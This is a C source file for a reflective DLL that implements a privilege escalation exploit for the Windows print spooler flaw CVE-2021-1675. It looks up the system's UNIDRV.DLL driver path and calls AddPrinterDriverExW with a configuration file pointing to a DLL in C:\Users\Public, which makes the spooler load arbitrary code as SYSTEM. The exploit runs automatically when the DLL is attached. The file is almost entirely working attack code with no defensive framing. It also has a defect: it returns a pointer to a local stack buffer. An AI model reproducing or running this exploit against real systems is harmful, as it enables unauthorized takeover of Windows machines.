#include "ReflectiveLoader.h"

extern "C" HINSTANCE hAppInstance;

#include <stdlib.h>
#include <Winspool.h>
#include <stdio.h>

int fileExists(wchar_t* file) {
	WIN32_FIND_DATA FindFileData;
	HANDLE handle = FindFirstFileW(file, &FindFileData);
	int found = handle != INVALID_HANDLE_VALUE;
	if (found) {
		FindClose(handle);
	}
	return found;
}

wchar_t* findDLLPath() {

	wchar_t targetDLLPath[MAX_PATH] = { 0 };

	DWORD dwNeeded;
	LPBYTE lpDriverInfo;
	DWORD dwReturned;
	DRIVER_INFO_2* pInfo;
	DWORD i;

	EnumPrinterDriversW(NULL, NULL, 2, NULL, 0, &dwNeeded, &dwReturned);

	lpDriverInfo = (LPBYTE)LocalAlloc(LPTR, dwNeeded);
	if (lpDriverInfo == NULL) {
		return 0;
	}

	EnumPrinterDrivers(NULL, NULL, 2, lpDriverInfo, dwNeeded, &dwNeeded, &dwReturned);

	pInfo = (DRIVER_INFO_2*)lpDriverInfo;

	for (i = 0; i < dwReturned; i++) {

		if (wcsstr(pInfo->pDriverPath, L"ntprint.inf_amd64")) {

			wchar_t tempDrive1[_MAX_DRIVE] = { 0 };
			wchar_t tempDirectory1[_MAX_DIR] = { 0 };
			wchar_t tempFileName1[_MAX_FNAME] = { 0 };
			wchar_t tempFileExtension1[_MAX_EXT] = { 0 };

			_wsplitpath_s(pInfo->pDriverPath, &tempDrive1[0], _MAX_DRIVE, &tempDirectory1[0], _MAX_DIR, &tempFileName1[0], _MAX_FNAME, &tempFileExtension1[0], _MAX_EXT);

			wchar_t* targetDLLName = (LPWSTR)L"UNIDRV.DLL";

			wcscat_s(targetDLLPath, MAX_PATH, tempDrive1);
			wcscat_s(targetDLLPath, MAX_PATH, tempDirectory1);
			wcscat_s(targetDLLPath, MAX_PATH, targetDLLName);

			if (fileExists(targetDLLPath)) {

				LocalFree(lpDriverInfo);

				return targetDLLPath;

			}

		}

		pInfo++;
	}

	LocalFree(lpDriverInfo);

}

int CVE_2021_1675_LPE(wchar_t* pthDll) {
	printf("\n[*] CVE-2021-1675 LPE Exploit\n\n");
	printf("[*] Authors: Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)\n\n");
	printf("[*] Modified by: Halil Dalabasmaz (@hlldz)\n\n");

	WCHAR payloadPath[MAX_PATH] = { 0 };
	WCHAR targetDLLPath[MAX_PATH] = { 0 };

	wsprintf(payloadPath, L"%s", pthDll);
	wsprintf(targetDLLPath, L"%ls", findDLLPath());


	DRIVER_INFO_2 driverInfo;
	driverInfo.cVersion = 3;
	driverInfo.pConfigFile = payloadPath;
	driverInfo.pDataFile = (LPWSTR)L"C:\\Windows\\System32\\kernelbase.dll";
	driverInfo.pDriverPath = targetDLLPath;
	driverInfo.pEnvironment = NULL;
	driverInfo.pName = (LPWSTR)L"1234";

	DWORD addPrinter = AddPrinterDriverExW(NULL, 2, (PBYTE)&driverInfo, APD_COPY_ALL_FILES | 0x10 | 0x8000);

	printf("[*] All done. GetLastError: %d\n", GetLastError());

	return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
	BOOL bReturnValue = TRUE;
	switch (dwReason) {
	case DLL_QUERY_HMODULE:
		if (lpReserved != NULL)
			*(HMODULE*)lpReserved = hAppInstance;
		break;
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;

		CVE_2021_1675_LPE((LPWSTR)L"C:\\Users\\Public\\hlldz.dll");

		/* flush STDOUT */
		fflush(stdout);

		/* we're done, so let's exit */
		ExitProcess(0);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return bReturnValue;
}